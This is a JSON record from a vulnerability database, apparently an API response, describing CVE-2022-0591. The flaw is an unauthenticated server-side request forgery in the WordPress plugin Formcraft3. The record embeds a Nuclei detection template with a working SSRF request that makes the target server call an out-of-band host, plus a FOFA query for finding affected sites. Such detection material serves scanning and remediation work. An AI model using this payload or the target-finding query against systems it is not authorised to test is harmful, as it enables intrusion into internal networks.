{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-0591/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-0591/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-0591/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-0591/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-0591/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-0591"},"sightings":{"href":"/api/v1/sightings/cve-2022-0591"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-0591.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-0591\n\ninfo:\n  name: Formcraft3 <3.8.28 - Server-Side Request Forgery\n  author: Akincibor,j4vaovo\n  severity: critical\n  description: |\n    Formcraft3 before version 3.8.2  does not validate the URL parameter in the formcraft3_get AJAX action, leading to server-side request forgery issues exploitable by unauthenticated users.\n  impact: |\n    An attacker can send crafted requests to the server, potentially leading to unauthorized access to internal resources or network scanning.\n  remediation: |\n    Upgrade to Formcraft3 version 3.8.28 or later to fix the SSRF vulnerability.\n  reference:\n    - https://wpscan.com/vulnerability/b5303e63-d640-4178-9237-d0f524b13d47\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-0591\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N\n    cvss-score: 9.1\n    cve-id: CVE-2022-0591\n    cwe-id: CWE-918\n    epss-score: 0.20249\n    epss-percentile: 0.97381\n    cpe: cpe:2.3:a:subtlewebinc:formcraft3:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: subtlewebinc\n    product: formcraft3\n    framework: wordpress\n    fofa-query: \"body=\\\"formcraft3\\\" && body=\\\"wp-\\\"\"\n  tags: cve,cve2022,wp,wp-plugin,wordpress,formcraft3,wpscan,ssrf,unauth,subtlewebinc,vkev,vuln\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}'\n\n    matchers:\n      - type: word\n        internal: true\n        words:\n          - '/wp-content/plugins/formcraft3/'\n\n  - method: GET\n    path:\n      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=formcraft3_get&URL=https://{{interactsh-url}}'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: WordPress\"\n# digest: 490a0046304402201787d1047e5c946a79f13917573b2323a506ab7ce69289e4eed9d59b4ec4277c022061bebbeeaaf586252e539c722673d1f9ad697c63a15915664e199899dc5deda3:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2022-0591"}